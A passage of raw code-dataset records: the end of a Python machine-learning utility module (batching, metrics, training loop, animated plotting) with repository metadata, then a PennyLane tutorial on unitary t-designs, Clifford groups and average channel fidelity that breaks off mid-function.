xlim, ylim, xscale, yscale, legend)\n    plt.title(title)\n    plt.tight_layout()\n\n    if random_fname:\n        saved_fname = datetime.now().strftime(\"%Y%m%d%H%M%S%f\")\n    if saved_fname:\n        plt.gcf().savefig(f\"{saved_fname}.png\", dpi=100)\n    plt.show()\n\n\ndef to_onehot(y, num_classes=None):\n    '''\n    \u5c06\u6807\u7b7e\u503c\u8f6c\u6362\u4e3aone-hot\u5411\u91cf\n    :param y: \u6807\u7b7e\u503c [0,1,2,...]\n    :param num_classes: \u7c7b\u522b\u6570\n    :return:\n    '''\n    if not num_classes:\n        num_classes = np.max(y) + 1\n    return np.eye(num_classes)[y]\n\n\ndef make_batches(X, y, batch_size=32, shuffle=True):\n    '''\n    \u5c06\u6570\u636e\u96c6\u62c6\u5206\u6210\u6279\u5927\u5c0f\u4e3abatch_size\u7684\u6279\u6570\u636e\n    :param X: \u6570\u636e\u96c6 [\u6837\u672c\u6570\uff0c\u6837\u672c\u7ef4\u5ea6]\n    :param y: \u5bf9\u5e94\u7684\u6807\u7b7e\n    :param batch_size:  \u6279\u5927\u5c0f\n    :param shuffle: \u662f\u5426\u9700\u8981\u5bf9\u6570\u636e\u8fdb\u884c\u6d17\u724c\n    :return:\n    '''\n    n = X.shape[0]  # \u6837\u672c\u6570\n    if shuffle:\n        indexes = np.random.permutation(n)\n    else:\n        indexes = np.arange(n)\n\n    X_batches = [\n        Tensor(X[indexes, :][k:k + batch_size, :]) for k in range(0, n, batch_size)\n    ]\n    y_batches = [\n        Tensor(y[indexes][k:k + batch_size]) for k in range(0, n, batch_size)\n    ]\n\n    return X_batches, y_batches\n\n\ndef loss_batch(model: nn.Module, loss_func, X_batch, y_batch, opt: Optimizer = None):\n    '''\n    \u5bf9\u6279\u6570\u636e\u8ba1\u7b97\u635f\u5931\n    :param model: \u6a21\u578b\n    :param loss_func: \u635f\u5931\u51fd\u6570\n    :param X_batch:  \u6570\u636e\u6279\u6b21\n    :param y_batch:  \u6807\u7b7e\u6279\u6b21\n    :param opt: \u4f18\u5316\u7c7b\n    :return: \u635f\u5931\u503c\uff0c \u8be5\u6279\u6b21\u5927\u5c0f\n    '''\n    loss = loss_func(model(X_batch), y_batch)\n    if opt is not None:\n        loss.backward()\n        opt.step()\n        opt.zero_grad()\n\n    return loss.item(), len(X_batch)\n\n\ndef accuracy(y_pred, y_true):\n    return np.mean(np.argmax(y_pred.array(), axis=1) == y_true.array())\n\n\ndef regression_classification_metric(y_pred, y_true):\n    '''\n    \u56de\u5f52\u95ee\u9898\u5f53\u6210\u5206\u7c7b\u65f6\u7684\u8bc4\u4ef7\u6307\u6807\n    :param y_pred:\n    :param y_true:\n    :return:\n    '''\n    return np.sum(y_pred.array().round() == y_true.array()) / len(y_pred)\n\n\nclass Accumulator:\n    '''\n    \u5728n\u4e2a\u53d8\u91cf\u4e0a\u7d2f\u52a0\n    \u6bd4\u5982\u53ef\u7528\u4e8e\u904d\u5386\u6279\u6570\u636e\uff0c\u7d2f\u52a0\u5224\u65ad\u6b63\u786e\u6837\u672c\u6570\u4ee5\u53ca\u904d\u5386\u7684\u6837\u672c\u603b\u6570\n    '''\n\n    def __init__(self, n: int):\n        self.data = [0.0] * n\n\n    def add(self, *args):\n        self.data = [a + float(b) for a, b in zip(self.data, args)]\n\n    def reset(self):\n        self.data = [0.0] * len(self.data)\n\n    def __getitem__(self, idx):\n        return self.data[idx]\n\n\nclass Animator:\n    \"\"\"\u5728\u52a8\u753b\u4e2d\u7ed8\u5236\u6570\u636e\uff0c\u6539\u81ead2l\"\"\"\n\n    def __init__(self, xlabel=None, ylabel=None, legend=None, xlim=None,\n                 ylim=None, xscale='linear', yscale='linear',\n                 fmts=('-', 'm--', 'g-.', 'r:'), nrows=1, ncols=1,\n                 figsize=(4.9, 3.5), saved_file='animator', plot_show=True):\n        # \u589e\u91cf\u5730\u7ed8\u5236\u591a\u6761\u7ebf\n        if legend is None:\n            legend = []\n        self.saved_file = saved_file\n        self.filenames = []\n        self.file_index = 0\n        self.fig, self.axes = plt.subplots(nrows, ncols, figsize=figsize)\n        if nrows * ncols == 1:\n            self.axes = [self.axes, ]\n        # \u4f7f\u7528lambda\u51fd\u6570\u6355\u83b7\u53c2\u6570\n        self.config_axes = lambda: set_axes(\n            self.axes[0], xlabel, ylabel, xlim, ylim, xscale, yscale, legend)\n        self.X, self.Y, self.fmts = None, None, fmts\n\n    def _save_image(self, image_name=None):\n        if image_name is None:\n            image_name = self.saved_file\n        plt.tight_layout()\n        plt.savefig(image_name)\n\n    def add(self, x, y):\n        # \u5411\u56fe\u8868\u4e2d\u6dfb\u52a0\u591a\u4e2a\u6570\u636e\u70b9\n        if not hasattr(y, \"__len__\"):\n            y = [y]\n        n = len(y)\n        if not hasattr(x, \"__len__\"):\n            x = [x] * n\n        if not self.X:\n            self.X = [[] for _ in range(n)]\n        if not self.Y:\n            self.Y = [[] for _ in range(n)]\n        for i, (a, b) in enumerate(zip(x, y)):\n            if a is not None and b is not None:\n                self.X[i].append(a)\n                self.Y[i].append(b)\n        self.axes[0].cla()\n        for x, y, fmt in zip(self.X, self.Y, self.fmts):\n            self.axes[0].plot(x, y, fmt)\n        self.config_axes()\n        # \u751f\u6210\u4e2d\u95f4\u6587\u4ef6\n        filename = f'{self.file_index}.png'\n\n        self._save_image(filename)\n\n        self.filenames.append(filename)\n        self.file_index = self.file_index + 1\n\n    def show(self):\n        with imageio.get_writer(f'{self.saved_file}.gif', mode='I') as writer:\n            for filename in self.filenames:\n                image = imageio.imread(filename)\n                writer.append_data(image)\n\n        for filename in self.filenames:\n            os.remove(filename)\n\n        self.filenames = []\n        self.file_index = 0\n\n        self._save_image(f'{self.saved_file}.png')\n\n        plt.show()\n        plt.close()\n\n\ndef run_epoch(model: nn.Module, data_loader: DataLoader, loss: nn.Module, opt: Optimizer = None,\n              activate_func=lambda x: x, evaluate_func=accuracy):\n    '''\n    \u8fdb\u884c\u4e00\u6b21\u8fed\u4ee3\n    :param data_loader: \u6570\u636e\u52a0\u8f7d\u5668\n    :param model: \u6a21\u578b\n    :param loss: \u635f\u5931\u51fd\u6570\uff0creduction=None\n    :param opt: \u4f18\u5316\u5668\n    :param activate_func: \u7f51\u7edc\u6700\u540e\u4e00\u5c42\u8865\u4e0a\u7684\u6fc0\u6d3b\u51fd\u6570\uff0c\u9ed8\u8ba4\u539f\u6837\u8f93\u51fa\n    :param evaluate_func: \u8bc4\u4ef7\u51fd\u6570\uff0c\u9ed8\u8ba4\u4e3a\u51c6\u786e\u7387\n\n    :return: \u635f\u5931 \u548c \u51c6\u786e\u7387\n    '''\n    assert loss.reduction is None, \"loss.reduction must be null.\"\n\n    metric = Accumulator(3)\n\n    for X_batch, y_batch in data_loader:\n        y_pred = model(X_batch)\n        l = loss(y_pred, y_batch)\n\n        if opt is not None:\n            l.mean().backward()  # \u76f8\u5f53\u4e8e\u8ba1\u7b97\u4e86\u5747\u65b9\u8bef\u5dee\n            opt.step()\n            opt.zero_grad()\n\n        metric.add(l.sum().item(), evaluate_func(activate_func(y_pred), y_batch), y_batch.size())\n    # \u603b\u635f\u5931 / \u6837\u672c\u603b\u6570 \uff0c \u603b\u51c6\u786e\u7387 / \u6837\u672c\u603b\u6570\n    return metric[0] / metric[2], metric[1] / metric[2]\n", "meta": {"hexsha": "d2220a6c4c4c57462063dea224289c99be95faa0", "size": 7073, "ext": "py", "lang": "Python", "max_stars_repo_path": "metagrad/utils.py", "max_stars_repo_name": "nlp-greyfoss/metagrad", "max_stars_repo_head_hexsha": "0f32f177ced1478f0c75ad37bace9a9fc4044ba3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 7, "max_stars_repo_stars_event_min_datetime": "2022-01-27T05:38:02.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T01:48:00.000Z", "max_issues_repo_path": "metagrad/utils.py", "max_issues_repo_name": "nlp-greyfoss/metagrad", "max_issues_repo_head_hexsha": "0f32f177ced1478f0c75ad37bace9a9fc4044ba3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "metagrad/utils.py", "max_forks_repo_name": "nlp-greyfoss/metagrad", "max_forks_repo_head_hexsha": "0f32f177ced1478f0c75ad37bace9a9fc4044ba3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2022-02-22T07:47:02.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-22T08:31:59.000Z", "avg_line_length": 26.8935361217, "max_line_length": 97, "alphanum_fraction": 0.5779725718, "include": true, "reason": "import numpy", "num_tokens": 2161, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3629691917376783, "lm_q2_score": 0.16026603032235004, "lm_q1q2_score": 0.05817163148910963}}
{"text": "r\"\"\".. role:: html(raw)\n   :format: html\n\nUnitary Designs\n===============\n\n.. meta::\n    :property=\"og:description\": Learn about designs and their uses in quantum computing.\n\n    :property=\"og:image\": https://pennylane.ai/qml/_images/fano.png\n\n.. related::\n\n    tutorial_haar_measure Understanding the Haar measure\n\n*Author: PennyLane dev team. Posted: 7 Sept 2021. Last updated: 7 Sept 2021.*\n\n\n.. note::\n\n   This demo is intended to be a sequel to the\n   :doc:`demo about the Haar measure </demos/tutorial_haar_measure>`.\n   If you are not familiar with the Haar measure, we recommend going through\n   that demo first before exploring this one.\n\nTake a close look at the following mathematical object:\n\n.. figure:: /demonstrations/unitary_designs/fano_no_labels.svg\n   :align: center\n   :width: 30%\n\n|\n\nThere are many things we can say about it: it consists of seven points and seven\nlines (the circle counts as a line); each line contains three points, and each\npoint is contained in three lines. Furthermore, any pair of points occur\ntogether in exactly one line. This object, called the `Fano plane\n<https://en.wikipedia.org/wiki/Fano_plane>`__, is an instance of a mathematical\nstructure called a `projective plane\n<https://en.wikipedia.org/wiki/Projective_plane>`__, which is just one example\nof a `combinatorial design\n<https://en.wikipedia.org/wiki/Combinatorial_design>`__. Designs are sets of\nobjects, and groups of those objects, that satisfy certain balance properties\nand symmetries. They have been studied for hundreds of years in a huge variety\nof contexts [#Handbook]_, from `error correcting codes\n<http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.50.5465>`__, to `card\ngames <https://homepages.warwick.ac.uk/staff/D.Maclagan/papers/set.pdf>`__, and\neven `agriculture\n<http://www-groups.mcs.st-and.ac.uk/~rab/histLShand.pdf>`__. So, what about\nquantum computing?\n\nDesigns are actually quite prevalent in quantum computing. You've almost\ncertainly come across one before, though you may not have realized it. At the\nend of the Haar measure demo, we asked a very important question: \"do we always\n*need* to sample from the full Haar measure?\". The answer to this is \"no\", and\nthe reasoning lies in the study of *unitary designs*.\n\nIn this demo, you'll learn the definition of :math:`t`-designs, what it means to\ngeneralize them to unitary :math:`t`-designs, and you'll see some canonical\nexamples of designs in quantum computing. You'll also learn about their\nconnection with the Haar measure, what it means to *twirl* a quantum channel,\nand explore how to leverage 2-designs in PennyLane to compute the average\nfidelity of a noisy channel. You will experience directly a situation where we can\nuse a :math:`t`-design as a shortcut over the full Haar measure to greatly improve\nthe efficiency of a task \ud83c\udf89.\n\n\nFrom spheres to unitary :math:`t`-designs\n-----------------------------------------\n\nSpherical designs\n^^^^^^^^^^^^^^^^^\n\nBefore diving into unitary designs, let's look at the sphere for some\nintuition.  Suppose we have a polynomial in :math:`d` variables, and we would\nlike to compute its average over the surface of a real, :math:`d`-dimensional\nunit sphere, :math:`S(R^d)`. We can do so by integrating that function over the\nsphere (using the proper measure), but that would be a lot of parameters to\nkeep track of. \n\nOne could alternatively approximate the average by sampling thousands of points\nuniformly at random on the sphere, evaluating the function at those points, and\ncomputing their average value. That will always work, and it will get us close,\nbut it will not be exact.\n\nIn fact, both of those approaches may be overkill in some special cases---if the\nterms in the polynomial have the same degree of at most :math:`t`, you can\ncompute the average **exactly** over the sphere using only a small set of points\nrather than integrating over the entire sphere.  That set of points is called a\nspherical :math:`t`-design. More formally [#Handbook]_, [#Delsarte]_:\n\n.. admonition:: Definition\n    :class: defn\n\n    Let :math:`p_t: \\mathcal{S}(R^d)\\rightarrow R` be a polynomial in :math:`d`\n    variables, with all terms homogeneous in degree at most :math:`t`. A\n    set :math:`X = \\{x: x \\in \\mathcal{S}(R^d)\\}` is a spherical :math:`t`-design if\n\n    .. math::\n\n        \\frac{1}{|X|} \\sum_{x \\in X} p_t(x) = \\int_{\\mathcal{S}(R^d)} p_t (u) d\\mu(u)\n\n    holds for all possible :math:`p_t`, where :math:`d\\mu` is the uniform,\n    normalized spherical measure. A spherical :math:`t`-design is also a\n    :math:`k`-design for all :math:`k < t`.\n\n\n\nNow this is a pretty abstract picture, so let's consider the 3-dimensional\nsphere. This definition tells us that if we want to take the average of a\npolynomial over a sphere where all terms have the same degree of at most 2, we\ncan do so using a small, representative set of points called a 2-design,\nrather than the whole sphere. Similarly, if all terms of the polynomial have the\nsame degree of at most 3, we could use a 3-design. \n\nBut what are these representative sets of points?  Since we are using these\npoints as a stand-in for averaging over the whole sphere, we'd want the points\nin the set to be distributed in a way that provides sufficient \"coverage\". In\nthe 3-dimensional case, the vertices of some familiar solids form :math:`t`-designs\n[#Handbook]_, [#sph4design]_:\n\n.. figure:: /demonstrations/unitary_designs/shapes.svg\n   :align: center\n   :width: 80%\n\n|\n\nWe see from these illustrations that spherical designs are sets of\n*evenly-spaced points*. As :math:`t` increases, the configurations become\nincreasingly sphere-like. Looking at this in a different way, the more complex a\nfunction becomes as its degree increases, the closer the :math:`t`-design must\nbe to a sphere; we need to evaluate the function at more points in order to gain\nsufficient information when a function is varying more quickly due to a higher\ndegree. In 3 dimensions, we can compute the average of a polynomial with degree\n2 by evaluating it only at the points of a tetrahedron, despite the fact that it\ndoesn't look spherical at all. More complex functions require more points\nand thus more intricate configurations for the design.  Spherical designs exist\nfor all :math:`t` and dimension :math:`d` [#Handbook]_. They are not always\nunique, and may have varying numbers of points.\n\nTo show that this really works, let's look at an explicit example. Consider the\nfollowing polynomial in 3 variables:\n\n.. math::\n\n   f(x, y, z) = x^4 - 4 x^3 y + y^2 z^2\n\nWe can compute the average value of :math:`f` by integrating over a unit sphere:\nthe result is :math:`4/15 \\approx 0.26667`. However, this integral is\nnon-trivial to evaluate by hand; the most straightforward way is to convert to\npolar coordinates, and even then, it involves integrating functions with 4th and\n5th powers of trigonometric functions.\n\nInstead, this is a case where we can leverage the fact that all terms in the\npolynomial have degree 4, and compute the average exactly using only a subset of\npoints that form a 4-design. We choose a dodecahedron for convenience; while\nthis is actually a 5 design, it also forms a 4-design, and is a more familiar\nshape than the 4-design depicted above.\n\nFirst, we define the set of points that comprise a dodecahedron:\n\n\"\"\"\n\nimport numpy as np\n\n# The golden ratio\ng = (1 + np.sqrt(5)) / 2\n\n# A dodecahedron has 20 points\ndodecahedron = np.array([\n    # 8 of them form a cube within the sphere\n    [1, 1, 1], [1, 1, -1], [1, -1, 1], [1, -1, -1],\n    [-1, 1, 1], [-1, 1, -1], [-1, -1, 1], [-1, -1, -1],\n\n    # 4 of them form a rectangle within the y-z plane\n    [0, g, 1/g], [0, g, -1/g], [0, -g, 1/g], [0, -g, -1/g],\n\n    # 4 of them form a rectangle within the x-z plane\n    [1/g, 0, g], [1/g, 0, -g], [-1/g, 0, g], [-1/g, 0, -g],\n\n    # 4 of them form a rectangle within the x-y plane\n    [g, 1/g, 0],[g, -1/g, 0], [-g, 1/g, 0], [-g, -1/g, 0],\n])\n\n# Normalize the points so they all fit in the unit sphere\ndodecahedron = np.array(\n   [point / np.linalg.norm(point) for point in dodecahedron]\n)\n\n######################################################################\n# Now we define our function and compute the average over the dodecahedron:\n\ndef f(x, y, z):\n    return (x ** 4) - 4 * (x ** 3) * y +  y ** 2 * z ** 2\n\ndodeca_average = np.mean([f(*point) for point in dodecahedron])\nprint(dodeca_average)\n\n######################################################################\n# This is exactly the value we expect. What happens if we try to do this using\n# only a 3-design, the cube?\n\n# The first 8 points of the dodecahedron are a cube\ncube = dodecahedron[:8]\n\ncube_average = np.mean([f(*point) for point in cube])\nprint(cube_average)\n\n\n######################################################################\n# This clearly differs from the true value. We need a design with :math:`t=4`\n# or better in order to compute this average, and when such a design is\n# available, we may save significant computational time.\n# \n# Unitary designs\n# ^^^^^^^^^^^^^^^\n# \n# We've learned now that spherical designs are sets of evenly-spaced points, and\n# saw how they can be used as a shortcut to evaluate the average of a\n# polynomial up to a given degree :math:`t`. However, there was nothing quantum\n# about this; there weren't even any complex numbers involved. A *unitary\n# design* extends this concept from evenly-distributed points to\n# evenly-distributed unitaries.  More formally, instead of averaging polynomials\n# over spheres, we consider polynomials that are functions of the entries of\n# unitary matrices [#Dankert]_, [#Gross]_.\n# \n# .. admonition:: Definition\n#     :class: defn\n# \n#     Let :math:`P_{t,t}(U)` be a polynomial with homogeneous degree at most :math:`t` in\n#     :math:`d` variables in the entries of a unitary matrix :math:`U`, and degree\n#     :math:`t` in the complex conjugates of those entries. A unitary\n#     :math:`t`-design is a set of :math:`K` unitaries :math:`\\{U_k\\}` such that\n# \n#     .. math::\n# \n#         \\frac{1}{K} \\sum_{k=1}^{K} P_{t,t}(U_k) = \\int_{\\mathcal{U}(d)}\n#         P_{t,t} (U) d\\mu(U)\n# \n#     holds for all possible :math:`P_{t,t}`, and where :math:`d\\mu` is the\n#     uniform *Haar measure*.\n# \n# We stress again that this expression is **exact**. The unitaries in a unitary\n# design are a representative set of points that are \"evenly spaced\" across the\n# unitary group. With just a subset of the full group, we can evaluate complex\n# expressions that would be otherwise intractable.\n# \n# A surprising result about unitary designs is that they exist for all possible\n# combinations of :math:`t` and :math:`d` [#Roy]_. There are some known lower\n# bounds for the number of unitaries required; for example, a 2-design in\n# dimension :math:`d` has at least :math:`d^4 - 2d^2 + 2` elements [#Gross]_,\n# [#Roy]_.  However, actually finding the sets (and in particular, finding ones\n# with minimal size), is a challenging problem [#Bannai]_, though very recently\n# some constructions have been put forward [#Nakata]_.\n#\n#\n# .. admonition:: Fun fact\n#\n#     Applying the elements of a unitary design to a fixed pure state produces a\n#     set of vectors that form a *complex projective design* [#DankertThesis]_.\n#     These are much like spherical designs, but they live in a complex vector\n#     space. If you've ever studied the characterization of quantum systems, you\n#     may have come across some special sets of measurements called mutually\n#     unbiased bases (MUBs), or symmetric, informationally complete positive\n#     operator valued measurements (SIC-POVMs). Both of these sets of vectors\n#     are complex projective 2-designs [#Klappenecker]_.\n#\n#     .. figure:: /demonstrations/unitary_designs/sic-povm.svg\n#        :align: center\n#        :width: 80%\n# \n#        The vectors of the simplest SIC-POVM in dimension 2, plotted on a Bloch sphere.\n#\n# Unitary :math:`t`-designs in action\n# -----------------------------------\n#\n# Unitary designs come into play in applications that require randomization, or\n# sampling of random unitaries---essentially, they can be used as a stand-in for\n# the Haar measure. The way in which the unitaries are used in the application may\n# place restrictions on the value of :math:`t` that is required; arguably the most\n# common is the unitary 2-design.\n#\n# While in general unitary designs are hard to construct, there are well known\n# results for unitary 1-, 2-, and 3-designs based on familiar objects in quantum\n# computing. Before we see what those are, let's explore an important use case.\n#\n# Average fidelity\n# ^^^^^^^^^^^^^^^^\n# A key application of unitary 2-designs is benchmarking quantum\n# operations. Suppose we have a noisy quantum channel :math:`\\Lambda` that should\n# perform something close to the unitary operation :math:`V`.  What can we say\n# about the performance of this channel?\n#\n# One metric of interest is the *fidelity*. Consider the state :math:`|0\\rangle`.\n# In an ideal case, we apply :math:`V` and obtain :math:`V|0\\rangle`.  But applying the\n# channel :math:`\\Lambda` gives us something a little different. Since it's noisy,\n# we must consider the state as a density matrix. The action of :math:`\\Lambda` on\n# our starting state is :math:`\\Lambda(|0\\rangle \\langle 0|)`.  If :math:`\\Lambda`\n# was perfect, then :math:`\\Lambda(|0\\rangle \\langle 0|) = V|0\\rangle \\langle\n# 0|V^\\dagger`, and the fidelity is\n#\n# .. math::\n# \n#     F(\\Lambda, V) = \\langle 0 | V^\\dagger \\cdot \\Lambda(|0\\rangle \\langle 0|) \\cdot V|0\\rangle = 1.\n#\n# In reality, :math:`\\Lambda` is not going to implement :math:`V` perfectly, and\n# :math:`F < 1`. More importantly though, all we've computed so far is the fidelity when\n# the initial state is :math:`|0\\rangle`. What if the initial state is something\n# different? What is the fidelity *on average*?\n# \n# To compute an average fidelity, we must do so with respect to the full set\n# of Haar-random states. We usually generate random states by applying a\n# Haar-random unitary :math:`U` to :math:`|0\\rangle`. Thus to compute the average\n# over all such :math:`U` we must evaluate\n# \n# .. math::\n# \n#     \\bar{F}(\\Lambda, V) = \\int_{\\mathcal{U}} d\\mu(U) \\langle 0 | U^\\dagger V^\\dagger \\Lambda(U |0\\rangle \\langle 0| U^\\dagger) V U |0\\rangle.\n# \n# This is known as *twirling* the channel :math:`\\Lambda`. Computing the average\n# fidelity in this way would be a nightmare---we'd have to compute the fidelity\n# with respect to an infinite number of states!\n# \n# However, consider the expression in the integral above. We have an inner product\n# involving two instances of :math:`U`, and two instances of\n# :math:`U^\\dagger`. This means that the expression is a polynomial of degree 2 in\n# both the elements of :math:`U` and its complex conjugates---this matches exactly\n# the definition of a unitary 2-design. This means that if we can find a set of\n# :math:`K` unitaries that form a 2-design, we can compute the average fidelity\n# using only a finite set of initial states:\n#\n# .. math::\n# \n#     \\frac{1}{K} \\sum_{j=1}^K \\langle 0 | U_j^\\dagger V^\\dagger \\Lambda(U_j |0\\rangle \\langle 0|\n#     U_j^\\dagger) V^\\dagger U_j |0\\rangle = \\int_{\\mathcal{U}} d\\mu(U) \\langle 0\n#     | U^\\dagger V^\\dagger \\Lambda(U |0\\rangle \\langle 0| U^\\dagger) V U |0\\rangle\n#\n# This is great, but a question remains: what is the representative set of unitaries?\n#\n# The Clifford group\n# ^^^^^^^^^^^^^^^^^^\n#\n# A beautiful result in quantum computing is that some special groups you may\n# already be familiar with are unitary designs:\n#\n# - the Pauli group forms a unitary 1-design, and \n# - the Clifford group forms a unitary 3-design. \n#\n# By the definition of designs, this means the Clifford group is also a 1-\n# and 2-design.\n#\n# The :math:`n`-qubit Pauli group, :math:`\\mathcal{P}(n)`, is the set of all tensor\n# products of Pauli operations :math:`X`, :math:`Y`, :math:`Z`, and :math:`I`. The\n# :math:`n`-qubit Clifford group, :math:`\\mathcal{C}(n)`, is the *normalizer* of the\n# Pauli group. In simpler terms, the Clifford group is the set of operations that\n# send Paulis to Paulis (up to a phase) under conjugation i.e.,\n#\n# .. math::\n#\n#    C P C^\\dagger = \\pm P^\\prime, \\quad \\forall P, P^\\prime \\in \\mathcal{P}(n), \\quad C \\in \\mathcal{C}(n).\n#\n# The Clifford group has some profoundly interesting properties and countless uses\n# across quantum computing, from circuit compilation to error correcting\n# codes. For a single qubit, the group is built from just two operations. One is\n# the Hadamard:\n#\n# .. math::\n#\n#    H X H^\\dagger = Z, \\quad H Y H^\\dagger = -Y, \\quad H Z H^\\dagger = X.\n#\n# This clearly maps Paulis to Paulis (up to a phase). The other is the phase gate :math:`S`:\n#\n# .. math::\n#\n#    S X S^\\dagger = Y, \\quad S Y S^\\dagger = -X, \\quad S Z S^\\dagger = Z.\n#\n# If both :math:`H` and :math:`S` map Paulis to Paulis, then products of them do\n# as well. In group theory terms, the single-qubit Clifford group is\n# generated by :math:`H` and :math:`S`.  For example, consider the action of\n# :math:`HS`:\n#\n# .. math::\n#\n#    (HS) X (HS)^\\dagger = -Y, \\quad (HS) Y (HS)^\\dagger = -Z, \\quad (HS) Z (HS)^\\dagger = X.\n#\n# Since :math:`Y = iXZ`, it is enough to specify Clifford operations by how they\n# act on :math:`X` and :math:`Z`.  For a particular Clifford, there are 6 possible\n# ways it can transform :math:`X`, namely :math:`\\pm X, \\pm Y`, or :math:`\\pm Z`.  Once\n# that is determined, there are four remaining options for the transformation of\n# :math:`Z`, leading to 24 elements total.\n#\n# It takes some work, but you can take combinations of :math:`H` and :math:`S`\n# and evaluate their action on :math:`X` and :math:`Z` (or look at their matrix\n# representations) until you find all 24 unique elements. The results of\n# this endeavour are expressed below as strings:\n\nsingle_qubit_cliffords = [\n '',\n 'H', 'S',\n 'HS', 'SH', 'SS',\n 'HSH', 'HSS', 'SHS', 'SSH', 'SSS',\n 'HSHS', 'HSSH', 'HSSS', 'SHSS', 'SSHS',\n 'HSHSS', 'HSSHS', 'SHSSH', 'SHSSS', 'SSHSS',\n 'HSHSSH', 'HSHSSS', 'HSSHSS'\n]\n\n######################################################################\n# To see for yourself how this set of unitaries is evenly distributed, try\n# applying each of the Cliffords to the initial state :math:`|0\\rangle`, and\n# plot the resulting states on the Bloch sphere. You'll find they are\n# symmetric and evenly spaced; in fact, they are all eigenstates of :math:`X`,\n# :math:`Y`, and :math:`Z`. Furthermore, under the full group action, the result\n# is balanced in the sense that each eigenstate is obtained the same number of\n# times.\n#\n# The multi-qubit Clifford group can also be\n# specified by only a small set of generators (in fact, only one more\n# than is needed for the single-qubit case). Together, :math:`H`, :math:`S`, and\n# CNOT (on every possible qubit or pair of qubits) generate the :math:`n`-qubit\n# group. Be careful though---the size of the group increases exponentially. The\n# 2-qubit group alone has 11520 elements! The size can be worked out in a manner\n# analogous to that we used above in the single qubit case: by looking at the\n# combinatorics of the possible ways the gates can map Paulis with only\n# :math:`X` and :math:`Z` to other Paulis.\n#\n# An experiment\n# ^^^^^^^^^^^^^\n# The whole idea of unitary designs may sound too good to be true. Can we\n# *really* compute the exact average fidelity using just 24 operations? In this\n# section, we put them to the test: we'll compute the average fidelity of an\n# operation first with experiments using a large but finite amount of Haar-random\n# unitaries, and then again with only the Clifford group.\n\nimport pennylane as qml\n\n# Scipy allows us to sample Haar-random unitaries directly\nfrom scipy.stats import unitary_group\n\n# set the random seed\nnp.random.seed(42)\n\n# Use the mixed state simulator\ndev = qml.device(\"default.mixed\", wires=1)\n\n######################################################################\n# Let's set up a noisy quantum channel. To keep things simple, assume it\n# consists of applying :class:`~.pennylane.SX`, the square-root of\n# :math:`X` gate, followed by a few different types of noise. First, write a\n# quantum function for our ideal experiment:\n\ndef ideal_experiment():\n    qml.SX(wires=0)\n    return qml.state()\n\n######################################################################\n# Next, we apply some noise. We do so by making use of a relatively new feature\n# in PennyLane called `quantum function transforms <https://pennylane.readthedocs.io/en/latest/code/qml_transforms.html>`__. Such transforms work by\n# modifying the underlying, low-level quantum tapes which queue the quantum\n# operations. Suppose the noisy channel is composed of the following:\n\ndef noisy_operations(damp_factor, depo_factor, flip_prob):\n    qml.AmplitudeDamping(damp_factor, wires=0)\n    qml.DepolarizingChannel(depo_factor, wires=0)\n    qml.BitFlip(flip_prob, wires=0)\n\n\n######################################################################\n# Let's create a transform that applies this noise to any quantum function\n# *after* the original operations, but before the measurements.  We use the\n# convenient :func:`~.pennylane.transforms.qfunc_transform` decorator:\n\n@qml.qfunc_transform\ndef apply_noise(tape, damp_factor, depo_factor, flip_prob):\n    # Apply the original operations\n    for op in tape.operations:\n        qml.apply(op)\n\n    # Apply the noisy sequence\n    noisy_operations(damp_factor, depo_factor, flip_prob)\n\n    # Apply the original measurements\n    for m in tape.measurements:\n        qml.apply(m)\n\n######################################################################\n# We can now apply this transform to create a noisy version of our ideal\n# quantum function:\n\n# The strengths of various types of noise\ndamp_factor = 0.02\ndepo_factor = 0.02\nflip_prob = 0.01\n\nnoisy_experiment = apply_noise(damp_factor, depo_factor, flip_prob)(ideal_experiment)\n\n######################################################################\n# The last part of the experiment involves applying a random unitary matrix\n# before all the operations, and its inverse right before the measurements.  We\n# can write another transform here to streamline this process:\n\n@qml.qfunc_transform\ndef conjugate_with_unitary(tape, matrix):\n    qml.QubitUnitary(matrix, wires=0)\n\n    for op in tape.operations:\n        qml.apply(op)\n\n    qml.QubitUnitary(matrix.conj().T, wires=0)\n\n    for m in tape.measurements:\n        qml.apply(m)\n\n######################################################################\n# Finally, in order to perform a comparison, we need a function to compute the\n# `fidelity <https://en.wikipedia.org/wiki/Fidelity_of_quantum_states>`__\n# compared to the ideal operation.\n\nfrom scipy.linalg import sqrtm\n\ndef fidelity(rho, sigma):\n    # Inputs rho and sigma are density matrices\n    sqrt_sigma = sqrtm(sigma)\n    fid = np.trace(sqrtm(sqrt_sigma @ rho @ sqrt_sigma))\n    return fid.real\n\n######################################################################\n# Let's now compute the average fidelity, averaging over 50000 Haar-random unitaries:\n\nn_samples = 50000\n\nfidelities = []\n\nfor _ in range(n_samples):\n    # Select a Haar-random unitary\n    U = unitary_group.rvs(2)\n\n    # Apply transform to construct the ideal and noisy quantum functions\n    conjugated_ideal_experiment = conjugate_with_unitary(U)(ideal_experiment)\n    conjugated_noisy_experiment = conjugate_with_unitary(U)(noisy_experiment)\n\n    # Use the functions to create QNodes\n    ideal_qnode = qml.QNode(conjugated_ideal_experiment, dev)\n    noisy_qnode = qml.QNode(conjugated_noisy_experiment, dev)\n\n    # Execute the QNodes\n    ideal_state = ideal_qnode()\n    noisy_state = noisy_qnode()\n\n    # Compute the fidelity\n    fidelities.append(fidelity(ideal_state, noisy_state))\n\nfid_mean = np.mean(fidelities)\nprint(f\"Mean fidelity = {fid_mean}\")\n\n######################################################################\n# Now let's repeat the procedure using only Clifford group elements. First, we\n# write a quantum function that performs a Clifford operation (or its inverse)\n# based on its string representation.\n\ndef apply_single_clifford(clifford_string, inverse=False):\n    for gate in clifford_string:\n        if gate == 'H':\n            qml.Hadamard(wires=0)\n        else:\n            sign = -1 if inverse else 1\n            qml.PhaseShift(sign * np.pi/2, wires=0)\n\n######################################################################\n# Next, we write a transform that applies a Clifford in the context of the full\n# experiment, i.e., apply the Clifford, then the operations, followed by the\n# inverse of the Clifford.\n\n@qml.qfunc_transform\ndef conjugate_with_clifford(tape, clifford_string):\n    